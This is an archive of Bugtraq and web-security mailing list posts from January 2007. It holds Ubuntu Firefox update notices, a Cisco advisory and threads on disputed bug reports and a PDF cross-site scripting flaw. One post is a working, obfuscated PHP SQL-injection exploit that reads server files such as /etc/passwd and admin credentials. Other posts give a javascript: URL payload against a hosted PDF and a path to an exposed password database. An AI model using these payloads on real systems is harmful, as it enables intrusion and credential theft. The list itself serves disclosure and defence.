  Size/MD5: 46670638 1cb13be9a35205af63fe70eeff14eb0e

  Architecture independent packages:


http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_2.0.0.1+0dfsg-0ubuntu0.6.10_all.deb
  Size/MD5:   236456 9ed7043d22624085cffc10dc7cde8f26

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/mozilla-firefox-dev_2.0.0.1+0dfsg-0ubuntu0.6.10_all.deb
  Size/MD5:55270 2f8fde2f2488af7750e65e886493cd13

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/mozilla-firefox-dom-inspector_2.0.0.1+0dfsg-0ubuntu0.6.10_all.deb
  Size/MD5:55362 eb1b5c963f64a784e053bdeee6537481

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/mozilla-firefox-gnome-support_2.0.0.1+0dfsg-0ubuntu0.6.10_all.deb
  Size/MD5:55378 dd6516fe8c1798d617bcf95b4fbd21c4

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/mozilla-firefox_2.0.0.1+0dfsg-0ubuntu0.6.10_all.deb
  Size/MD5:56176 eae029799af7b101a55a9bfdffc88330

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dbg_2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5: 50310432 263fa952660d303d4320ac519836a1fb

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5:  3119132 75d94b87d53efb786ffdf56ff6d6b075

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5:89652 913420b9f378f322c1ca1b02037f2677

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5: 10387770 78104d3965f2bfbda5575574d9f755ba

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr-dev_1.firefox2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5:   225036 ea87d34202b6d3223dbac099cf51c8df

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr4_1.firefox2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5:   167466 55bbefb531652d568f02438aeed10f1d

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss-dev_1.firefox2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5:   250348 1bbc07d9af10768ac6656d927000abcd

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss3_1.firefox2.0.0.1+0dfsg-0ubuntu0.6.10_amd64.deb
  Size/MD5:   861350 3fc1cbb4e1eb02995567cdec7b660bd2

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dbg_2.0.0.1+0dfsg-0ubuntu0.6.10_i386.deb
  Size/MD5: 49457428 a30d035ca9fd1819091c1c6b48d325b1

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_2.0.0.1+0dfsg-0ubuntu0.6.10_i386.deb
  Size/MD5: 

WineGlass data.mdb Remote Password Disclosure

2007-01-03 Thread Advisory
#
#   ARIA-SECURITY TEAM#
#   Forum: http://aria-security.com   #
#   Discovered by:Aria-Security Team   #
#
#Type:Remote Password Disclosure 
#Vendor:http://www.carboncommunities.com/
#PoC:
#http://target/DataBase/Carbon2.4d.mdb
#Contact:
[EMAIL PROTECTED]
#
#[http://aria-security.com/forum/showthread.php?p=113]


Cisco Security Advisory: Multiple Vulnerabilities in Cisco Clean Access

2007-01-03 Thread Cisco Systems Product Security Incident Response Team
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Cisco Security Advisory: Multiple Vulnerabilities in Cisco Clean
Access

Advisory ID: cisco-sa-20070103-CleanAccess

http://www.cisco.com/warp/public/707/cisco-sa-20070103-CleanAccess.shtml

Revision 1.0

For Public Release 2007 January 03 1600 UTC (GMT)

- -

Summary
===

Cisco Clean Access (CCA) is a software solution that can
automatically detect, isolate, and clean infected or vulnerable
devices that attempt to access your network. It consists of Cisco
Clean Access Manager (CAM) and Cisco Clean Access Server (CAS)
devices that work in tandem.

Cisco Clean Access is affected by the following vulnerabilities:

  * Unchangeable shared secret
  * Readable snapshot files

This advisory is posted at
http://www.cisco.com/warp/public/707/cisco-sa-20070103-CleanAccess.shtml

Affected Products
=

Vulnerable Products
+--

The following software releases are vulnerable.

Unchangeable Shared Secret

  * CCA releases 3.6.x - 3.6.4.2
  * CCA releases 4.0.x - 4.0.3.2

Readable Snapshots

  * CCA releases 3.5.x - 3.5.9
  * CCA releases 3.6.x - 3.6.1.1

Products Confirmed Not Vulnerable
+

No other Cisco products are known to be affected by the
vulnerabilities described in this Advisory.

Details
===

Unchangeable Shared Secret
+-

In order for Cisco Clean Access Manager (CAM) to authenticate to a
Cisco Clean Access Server (CAS), both CAM and CAS must have the same
shared secret. The shared secret is configured during the initial CAM
and CAS setup. Due to this vulnerability the shared secret can not be
properly set nor be changed, and it will be the same across all
affected devices. In order to exploit this vulnerability the
adversary must be able to establish a TCP connection to CAS.

This vulnerability is documented in Cisco Bug ID CSCsg24153.

Readable Snapshots
+-

Manual backups of the database ('snapshots') taken on CAM are
susceptible to brute force download attacks. A malicious user can
guess the file name and download it without authentication. The file
itself is not encrypted or otherwise protected.

This vulnerability is documented in Cisco Bug ID CSCsd48626.

Vulnerability Scoring Details
=

Cisco is providing scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). Cisco will
provide a base and temporal score. Customers can then compute
environmental scores to assist in determining the impact of the
vulnerability in individual networks. Cisco PSIRT will set the bias
in all cases to normal. Customers are encouraged to apply the bias
parameter when determining the environmental impact of a particular
vulnerability.

CVSS is a standards based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.

Cisco has provided an FAQ to answer additional questions regarding
CVSS at
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html

Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at
http://intellishield.cisco.com/security/alertmanager/cvss

Cisco Bug IDs:

CSCsg24153 Unchangeable shared secret
+

CVSS Base Score: 8

Access Vector: Remote
Access Complexity: High
Authentication: Not Required
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
Impact Bias: Normal

CVSS Temporal Score: 6.3

Exploitability: Proof of Concept
Remediation Level: Official Fix
Report Confidence: Confirmed

CSCsd48626 Readable snapshot files
+-

CVSS Base Score: 10

Access Vector: Remote
Access Complexity: Low
Authentication: Not Required
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
Impact Bias: Normal

CVSS Temporal Score: 8.3

Exploitability: Functional
Remediation Level: Official Fix
Report Confidence: ConfirmedImpact


Unchangeable Shared Secret
+-

Successful exploitation of the vulnerability may enable a malicious
user to effectively take administrative control of a CAS. After that,
every aspect of CAS can be changed including its configuration and
setup.

Readable Snapshots
+-

The snapshot contains sensitive information that can aide in the
attempts, or be used to compromise the CAM. Among other things, the
snapshot can contain passwords in cleartext. Starting with the
release 3.6.0, passwords are no longer stored in cleartext in the
snapshot files.

Software Version and Fixes
==

When considering software upgrades, also consult
http://www.cisco.com/go/psirt and any subsequent advisories to
determine exposure and a complete

Re: FreeRadius 1.1.3 SMB_Handle_Type SMB_Connect_Server arbitrary code execution

2007-01-03 Thread 3APA3A
Dear [EMAIL PROTECTED],

 Please  correct  me,  if  I  wrong,  but  as far as I can see, 'server'
 parameter  is  taken  from  module  configuration.

static CONF_PARSER module_config[] = {
  { server,  PW_TYPE_STRING_PTR, offsetof(rlm_smb_t,server), NULL,  NULL},
  { backup,  PW_TYPE_STRING_PTR, offsetof(rlm_smb_t,backup), NULL,  NULL},
  { domain,  PW_TYPE_STRING_PTR, offsetof(rlm_smb_t,domain), NULL,  NULL},

  { NULL, -1, 0, NULL, NULL }   /* end the list */
};

...

rcode = Valid_User(request-username-strvalue,
   request-password-strvalue,
   data-server, data-backup, data-domain);


 That  is,  in  order  to  exploit this vulnerability you must control
 FreeRADIUS  configuration  file.  If you can control configuration file
 you  can  execute code in multiple ways, e.g. by specifying application
 to  be  executed on every request. That is, there is no security impact
 here.

--Tuesday, January 2, 2007, 3:10:50 PM, you wrote to bugtraq@securityfocus.com:

shp Synopsis:  
shp FreeRadius 1.1.3  SMB_Handle_Type SMB_Connect_Server arbitrary code 
execution

shp Product:   FreeRadius
shp Version:   =1.1.3



shp Issue:
shp ==

shp A critical security vulnerability has been found in FreeRadius 1.1.3.
shp Arbitrary code execution is possible due to improper bounds-checking.


shp Details:
shp 
shp Function of the prototype:

shp SMB_Handle_Type SMB_Connect_Server(SMB_Handle_Type Con_Handle,
shp   char *server, char *NTdomain)

shp when initializing (con-desthost) where con is SMB_Handle_Type class
shp object does not check for bounds. 




shp Affected Versions
shp =

shp FreeRadius =1.1.3



shp Kind regards,

shp Michal Bucko (sapheal)
shp hack.pl





-- 
~/ZARAZA
Ďîęŕ âű âî âëŕńňč ďđîâčäĺíč˙, âŕě íĺ óäŕńňń˙ óěĺđĺňü đŕíüřĺ ńđîęŕ. (Ňâĺí)



Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread Amit Klein

Amit Klein wrote:

pdp (architect) wrote:

I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

   
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here 



You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.


Amazing, and kudos to Sven Vetsch who found this.

Oops, seems that the credit went to the wrong guy. Actual credit go to 
Stefano Di Paola, with contributions from Giorgio Fedon (IE Dos, UXSS 
Analysis) and Elia Florio (Poc and Code Execution analysis).


BTW, one way to mitigate this is for the server, upon receiving a 
request to file.pdf (without a valid query+cookie pair, see below), to 
redirect it to file.pdf?token_query=X (where X is an unpredictable, high 
entropy string) accompanied with a Set-Cookie header for a cookie named 
say token_cookie with value X and short expiration period (e.g. 10 
seconds). The browser will then respond with a request to 
file.pdf?token_query=X with Cookie token_cookie=X. At this point, if the 
server receives token_query==token_cookie, the server knows this is a 
legit request (i.e. without fragment), and it can safely serve the PDF 
resource.


I suppose this can be implemented easily as an Apache module/ISAPI/NSAPI 
filters.


-Amit


Re: Windows NT Message Compiler 1.00.5239 arbitrary code execution

2007-01-03 Thread chinese soup

*/me joining the bandwagon because... well, because it's fun and i'm an a-hole*

*clears throat*

Dear sapheal,

Unhandled exception at 0x01003468 in MC.EXE: 0xC005:
shp Access violation reading location 0x41414141.

Unfortunately, every access violation you get does NOT mean it is
exploitable and critical security vulnerability . This one just says
Access violation reading location

Now you have to ask yourself:
How do I gain control of this program?
Can I do it via this Access violation error?
How can I use this to own my girlfriend's box so I can check her email?
Do I look uber-cool by having the words critical, vulnerability
and Windows in one message? -- not if you have the words might,
be and possible with no supporting facts.

3APA3A said it best, In  order  to call some bug critical security
vulnerability, you must show critical security impact from this
vulnerability.

just-joing-in-the-fun-even-though-not-everyone-appreciates-it,

Tao of Noodle Making: sweat means no need for salt

On 1/3/07, 3APA3A [EMAIL PROTECTED] wrote:

Dear [EMAIL PROTECTED] and all,

 In  order  to call some bug critical security vulnerability, you must
 show critical security impact from this vulnerability.

 For   local   vulnerability   security   impact  is  usually  privilege
 escalation.  That  is, local unprivileged user should be able to obtain
 privileges of another user or system account by exploiting this bug.

 Under  Unix,  local  vulnerabilities are usually because of the bugs in
 some  suid application. Under Windows there is no suid applications. To
 escalate  privileges  you  must  exploit  vulnerability  in some system
 component  or  service.  mc.exe  is  not  service  and  is  not  system
 component.

 I  can't  say  there  is no security impact from this bug at all. As an
 example,  you can execute malware code in context of signed application
 and  bypass  some  policy.  But  it's definitely not critical security
 vulnerability.

 Sorry for this short lecture.


--Tuesday, January 2, 2007, 10:06:30 PM, you wrote to bugtraq@securityfocus.com:

shp Synopsis: Windows NT Message Compiler 1.00.5239 arbitrary code execution
shp Product:   Microsoft Windows XP



shp Issue:
shp ==

shp A critical security vulnerability has been found in Windows NT Message 
Compiler.
shp Arbitrary code execution might be possible (local exploitation possible 
only).


shp Details:
shp 
shp MC (Windows NT Message Compiler) when provided a MC-filename longer than
shp requested crashed due to memory corruption. Memory corruption conditions
shp might allow the attacker to escalate privilleges.

shp When overwriting the buffer with A (0x41):

shp Unhandled exception at 0x01003468 in MC.EXE: 0xC005:
shp Access violation reading location 0x41414141.
shp First-chance exception at 0x01003468 in MC.EXE: 0xC005:
shp Access violation reading location 0x41414141.


shp Affected Versions
shp =
shp Microsoft (R) Message Compiler Version 1.00.5239


shp Solution
shp =

shp Proper bounds-checking.


shp Kind regards,

shp Michal Bucko (sapheal)
shp hack.pl







--
~/ZARAZA
http://www.security.nnov.ru/




Simple Web Content Management System SQL Injection Exploit

2007-01-03 Thread gmdarkfig
#!/usr/bin/php
?php

/**
 * This file require the PhpSploit class.
 * If you want to use this class, the latest
 * version can be downloaded from acid-root.new.fr.
 **/
require(phpsploitclass.php);


if($argc  3) {
 print(
 
 Affected.scr..: Simple Web Content Management System
 Poc.ID: 18070102
 Type..: SQL Injection
 Risk.level: Medium
 Src.download..: www.cms-center.com
 Poc.link..: acid-root.new.fr/poc/18070102.txt
 Credits...: DarkFig
 
 Usage.: php xpl.txt url file
 Options...: proxhost:proxport proxuser:proxpass
 Example...: php xpl.txt http://hihi.org/ /etc/passwd
 \n);
 exit(1);
}

$url  =$argv[1];$file =$argv[2];
$proxh=$argv[3];$proxa=$argv[4];

$xpl = new phpsploit();
$xpl-agent(Mozilla);
if($proxh) $xpl-proxy($proxh);
if($proxa) $xpl-proxyauth($proxa);

/*
 * $id = $_GET['id'];
 * $query = SELECT * from content WHERE id = $id;
 * ...
 * @return $row-text;
 *
 * Simple SQL injection (register_globals=off ; magic_quotes_gpc=on).
 * What we want is not in the database, it's in a file (config.php):
 *
 * //this are the logins for the admin part. Change them for security. 
 * $login = test;  //your login for the admin section.
 * $pass = 1234;   //your login for the admin section.
 *
 * PS: Les chr() ont été utilisés dans le but de se foutre de
 * la gueule des personnes l'utilisant seulement pour d4 h4x0r styl3 =).
 *
 */

$header =
chr(0x2f).chr(0x3c).chr(0x68).chr(0x74).chr(0x6d).chr(0x6c).chr(0x3e).chr(0x0d).
chr(0x0a).chr(0x3c).chr(0x68).chr(0x65).chr(0x61).chr(0x64).chr(0x3e).chr(0x0d).
chr(0x0a).chr(0x3c).chr(0x74).chr(0x69).chr(0x74).chr(0x6c).chr(0x65).chr(0x3e).
chr(0x63).chr(0x6f).chr(0x6e).chr(0x74).chr(0x65).chr(0x6e).chr(0x74).chr(0x66).
chr(0x72).chr(0x61).chr(0x6d).chr(0x65).chr(0x3c).chr(0x5c).chr(0x2f).chr(0x74).
chr(0x69).chr(0x74).chr(0x6c).chr(0x65).chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).
chr(0x6c).chr(0x69).chr(0x6e).chr(0x6b).chr(0x20).chr(0x68).chr(0x72).chr(0x65).
chr(0x66).chr(0x3d).chr(0x22).chr(0x5c).chr(0x2f).chr(0x73).chr(0x74).chr(0x79).
chr(0x6c).chr(0x65).chr(0x2e).chr(0x63).chr(0x73).chr(0x73).chr(0x22).chr(0x20).
chr(0x72).chr(0x65).chr(0x6c).chr(0x3d).chr(0x22).chr(0x73).chr(0x74).chr(0x79).
chr(0x6c).chr(0x65).chr(0x73).chr(0x68).chr(0x65).chr(0x65).chr(0x74).chr(0x22).
chr(0x20).chr(0x74).chr(0x79).chr(0x70).chr(0x65).chr(0x3d).chr(0x22).chr(0x74).
chr(0x65).chr(0x78).chr(0x74).chr(0x5c).chr(0x2f).chr(0x63).chr(0x73).chr(0x73).
chr(0x22).chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).chr(0x6d).chr(0x65).chr(0x74).
chr(0x61).chr(0x20).chr(0x68).chr(0x74).chr(0x74).chr(0x70).chr(0x2d).chr(0x65).
chr(0x71).chr(0x75).chr(0x69).chr(0x76).chr(0x3d).chr(0x22).chr(0x43).chr(0x6f).
chr(0x6e).chr(0x74).chr(0x65).chr(0x6e).chr(0x74).chr(0x2d).chr(0x54).chr(0x79).
chr(0x70).chr(0x65).chr(0x22).chr(0x20).chr(0x63).chr(0x6f).chr(0x6e).chr(0x74).
chr(0x65).chr(0x6e).chr(0x74).chr(0x3d).chr(0x22).chr(0x74).chr(0x65).chr(0x78).
chr(0x74).chr(0x5c).chr(0x2f).chr(0x68).chr(0x74).chr(0x6d).chr(0x6c).chr(0x3b).
chr(0x20).chr(0x63).chr(0x68).chr(0x61).chr(0x72).chr(0x73).chr(0x65).chr(0x74).
chr(0x3d).chr(0x69).chr(0x73).chr(0x6f).chr(0x2d).chr(0x38).chr(0x38).chr(0x35).
chr(0x39).chr(0x2d).chr(0x31).chr(0x22).chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).
chr(0x5c).chr(0x2f).chr(0x68).chr(0x65).chr(0x61).chr(0x64).chr(0x3e).chr(0x0d).
chr(0x0a).chr(0x0d).chr(0x0a).chr(0x3c).chr(0x62).chr(0x6f).chr(0x64).chr(0x79).
chr(0x3e).chr(0x2f);

$sql =
chr(0x70).chr(0x61).chr(0x67).chr(0x65).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
chr(0x3f).chr(0x69).chr(0x64).chr(0x3d).chr(0x2d).chr(0x31).chr(0x2f).chr(0x2a).
chr(0x2a).chr(0x2f).chr(0x75).chr(0x6e).chr(0x69).chr(0x6f).chr(0x6e).chr(0x2f).
chr(0x2a).chr(0x2a).chr(0x2f).chr(0x73).chr(0x65).chr(0x6c).chr(0x65).chr(0x63).
chr(0x74).chr(0x2f).chr(0x2a).chr(0x2a).chr(0x2f).chr(0x6e).chr(0x75).chr(0x6c).
chr(0x6c).chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c).chr(0x2c).chr(0x6e).
chr(0x75).chr(0x6c).chr(0x6c).chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c).
chr(0x2c).chr(0x6c).chr(0x6f).chr(0x61).chr(0x64).chr(0x5f).chr(0x66).chr(0x69).
chr(0x6c).chr(0x65).chr(0x28).chr(0x63).chr(0x6f).chr(0x6e).chr(0x63).chr(0x61).
chr(0x74).chr(0x28).concatcharfu($file).chr(0x29).chr(0x29).chr(0x2c).chr(0x6e).
chr(0x75).chr(0x6c).chr(0x6c).chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c).
chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c);

$footer =
chr(0x2f).chr(0x3c).chr(0x5c).chr(0x2f).chr(0x62).chr(0x6f).chr(0x64).chr(0x79).
chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).chr(0x5c).chr(0x2f).chr(0x68).chr(0x74).
chr(0x6d).chr(0x6c).chr(0x3e).chr(0x2f);

$xpl-get($url.$sql);
$ct = preg_replace($footer,'',$xpl-getcontent());
print preg_replace($header,'',$ct);

function concatcharfu($file)
{
$dat = '';
for($i=0;$istrlen($file);$i++)
{
 

Re: OpenPinboard = Remote File Include

2007-01-03 Thread Stefano Zanero
[EMAIL PROTECTED] wrote:

 # Download 
 :http://osdn.dl.sourceforge.net/sourceforge/openpinboard/openpinboard_2.0.tar.gz

 #code : ;(require_once ($language 
 

$language is set in config.php which is generated by the install script.

Did you actually test it, or is it bogus as it seems ?

Stefano


[USN-398-2] Firefox vulnerabilities

2007-01-03 Thread Kees Cook
=== 
Ubuntu Security Notice USN-398-2   January 03, 2007
firefox vulnerabilities
CVE-2006-6497, CVE-2006-6498, CVE-2006-6499, CVE-2006-6501,
CVE-2006-6502, CVE-2006-6503, CVE-2006-6504
===

A security issue affects the following Ubuntu releases:

Ubuntu 5.10
Ubuntu 6.06 LTS

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 5.10:
  firefox  1.5.dfsg+1.5.0.9-0ubuntu0.5.10
  firefox-dev  1.5.dfsg+1.5.0.9-0ubuntu0.5.10

Ubuntu 6.06 LTS:
  firefox  1.5.dfsg+1.5.0.9-0ubuntu0.6.06
  firefox-dev  1.5.dfsg+1.5.0.9-0ubuntu0.6.06
  libnspr-dev  1.5.dfsg+1.5.0.9-0ubuntu0.6.06
  libnspr4 1.5.dfsg+1.5.0.9-0ubuntu0.6.06
  libnss-dev   1.5.dfsg+1.5.0.9-0ubuntu0.6.06
  libnss3  1.5.dfsg+1.5.0.9-0ubuntu0.6.06

After a standard system upgrade you need to restart Firefox to effect 
the necessary changes.

Details follow:

USN-398-1 fixed vulnerabilities in Firefox 2.0.  This update provides 
the corresponding updates for Firefox 1.5.

Various flaws have been reported that allow an attacker to execute
arbitrary code with user privileges by tricking the user into opening
a malicious web page containing JavaScript or SVG.  (CVE-2006-6497, 
CVE-2006-6498, CVE-2006-6499, CVE-2006-6501, CVE-2006-6502, 
CVE-2006-6504)

Various flaws have been reported that allow an attacker to bypass 
Firefox's internal XSS protections by tricking the user into opening a 
malicious web page containing JavaScript.  (CVE-2006-6503)


Updated packages for Ubuntu 5.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.9-0ubuntu0.5.10.diff.gz
  Size/MD5:   177350 f25badcde69aee85eb82330d0daf4417

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.9-0ubuntu0.5.10.dsc
  Size/MD5: 1056 9ae774570929de1c68168e410e608e3a

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.9.orig.tar.gz
  Size/MD5: 44874639 3a812560d4b85bf878bba9ca961b26b7

  Architecture independent packages:


http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/mozilla-firefox-dev_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_all.deb
  Size/MD5:49746 84497ea1bbd2840a37503b5e38886d67

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/mozilla-firefox_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_all.deb
  Size/MD5:50632 9639b6c6241c35e840384a5ecd0d057d

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_amd64.deb
  Size/MD5:  3155112 e5f077de48261c34807f677bc662091e

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_amd64.deb
  Size/MD5:   216646 f1c933298c42c3b66ffb04f7bc2d7ea1

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_amd64.deb
  Size/MD5:82948 83870eb321a81a8dad6a0a6f2d3d8e1a

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_amd64.deb
  Size/MD5: 10236150 c17e84ae66c45ac0fbcbda65c7c2f42e

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_i386.deb
  Size/MD5:  3155084 d0a3d80a4f31162766cdf9fc1a7efd6d

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_i386.deb
  Size/MD5:   210186 2f367ee0291586942ce9f59d98f7819f

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_i386.deb
  Size/MD5:75374 a09eb76531b5ae26b885ac81d3474aa1

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_i386.deb
  Size/MD5:  8665274 5751674cb5ba9b5834d1fc25dea64f19

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_powerpc.deb
  Size/MD5:  3155162 d6a5c0576de5c87dd4efe14decd72b64

http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_powerpc.deb
  Size/MD5:   213588 3aa264bcd755a87de5482218a58fa8da

http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.9-0ubuntu0.5.10_powerpc.deb
  Size/MD5:78570 f640333523dd410eb9c48e67da42d223


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread pdp (architect)

The impact of this issue is huge.

Web worms can use Jeremiah's css history dump and login detection
hacks together with the Google AJAX Search API hack in order to create
a massive WEB infection. In fact, such type of malicious code can be
trivially composed in half an hour. This is a vary scary thought.

REFS:
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html
http://www.gnucitizen.org/blog/google-search-api-worms
http://www.gnucitizen.org/projects/attackapi

On 1/3/07, James Landis [EMAIL PROTECTED] wrote:

Why bother with the token handling? If the request URI is a PDF and it is a
POST or contains URL parameters, just 30x to the naked PDF. Otherwise it's
safe to serve.

-j


On 1/3/07, Amit Klein [EMAIL PROTECTED] wrote:
 Amit Klein wrote:
  pdp (architect) wrote:
  I will be very quick and just point to links where you can read about
  this issue.
 
  It seams that PDF documents can execute JavaScript code for no
  apparent reason by using the following template:
 
 
 
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
 
 
  You must understand that the attacker doesn't need to have write
  access to the specified PDF document. In order to get an XSS vector
  working you need to have a PDF file hosted on the target and that's
  all about it. The rest is just a matter of your abilities and desires.
 
  Amazing, and kudos to Sven Vetsch who found this.
 
 Oops, seems that the credit went to the wrong guy. Actual credit go to
 Stefano Di Paola, with contributions from Giorgio Fedon (IE Dos, UXSS
 Analysis) and Elia Florio (Poc and Code Execution analysis).

 BTW, one way to mitigate this is for the server, upon receiving a
 request to file.pdf (without a valid query+cookie pair, see below), to
 redirect it to file.pdf?token_query=X (where X is an unpredictable, high
 entropy string) accompanied with a Set-Cookie header for a cookie named
 say token_cookie with value X and short expiration period ( e.g. 10
 seconds). The browser will then respond with a request to
 file.pdf?token_query=X with Cookie token_cookie=X. At this point, if the
 server receives token_query==token_cookie, the server knows this is a
 legit request (i.e. without fragment), and it can safely serve the PDF
 resource.

 I suppose this can be implemented easily as an Apache module/ISAPI/NSAPI
 filters.

 -Amit



 The Web Security Mailing List:
 http://www.webappsec.org/lists/websecurity/

 The Web Security Mailing List Archives:
 http://www.webappsec.org/lists/websecurity/archive/
 http://www.webappsec.org/rss/websecurity.rss [RSS Feed]







--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread RSnake


It's not a part of the URL string that is passed to the header:

http://www.google.com/appliance/pdf/google_gsa_datasheet.pdf#blah=javascript:alert(%22XSS%22);

becomes:

GET /appliance/pdf/google_gsa_datasheet.pdf HTTP/1.0 
Host: www.google.com 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 
Accept-Language: en-us,en;q=0.5 
Accept-Encoding: gzip,deflate 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Proxy-Connection: keep-alive 
Pragma: no-cache


So I think your idea was partly good, the 301 redirection will knock off
the URL fragment, but it has nothing to do with GET vs POST, and you'll
need to redirect it to a unique token to prevent infinite loops or
someone just forwarding to a guessable token.

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/


On Wed, 3 Jan 2007, James Landis wrote:


Why bother with the token handling? If the request URI is a PDF and it is a
POST or contains URL parameters, just 30x to the naked PDF. Otherwise it's
safe to serve.

-j

On 1/3/07, Amit Klein [EMAIL PROTECTED] wrote:


Amit Klein wrote:
 pdp (architect) wrote:
 I will be very quick and just point to links where you can read about
 this issue.

 It seams that PDF documents can execute JavaScript code for no
 apparent reason by using the following template:



http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here


 You must understand that the attacker doesn't need to have write
 access to the specified PDF document. In order to get an XSS vector
 working you need to have a PDF file hosted on the target and that's
 all about it. The rest is just a matter of your abilities and desires.


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread Dave Ferguson

One of the things I found most intriguing is the different keywords on
the URL that can be used.  Adobe calls them open parameters and the
reference is here:

http://partners.adobe.com/public/developer/en/acrobat/PDFOpenParameters.pdf

As mentioned in the Di Paola and Fedon paper, the fdf parameter
provides another mechanism for injecting a URL to exploit XSRF.

Dave F.

On 1/3/07, RSnake [EMAIL PROTECTED] wrote:


It's not a part of the URL string that is passed to the header:

http://www.google.com/appliance/pdf/google_gsa_datasheet.pdf#blah=javascript:alert(%22XSS%22);

becomes:

GET /appliance/pdf/google_gsa_datasheet.pdf HTTP/1.0
Host: www.google.com
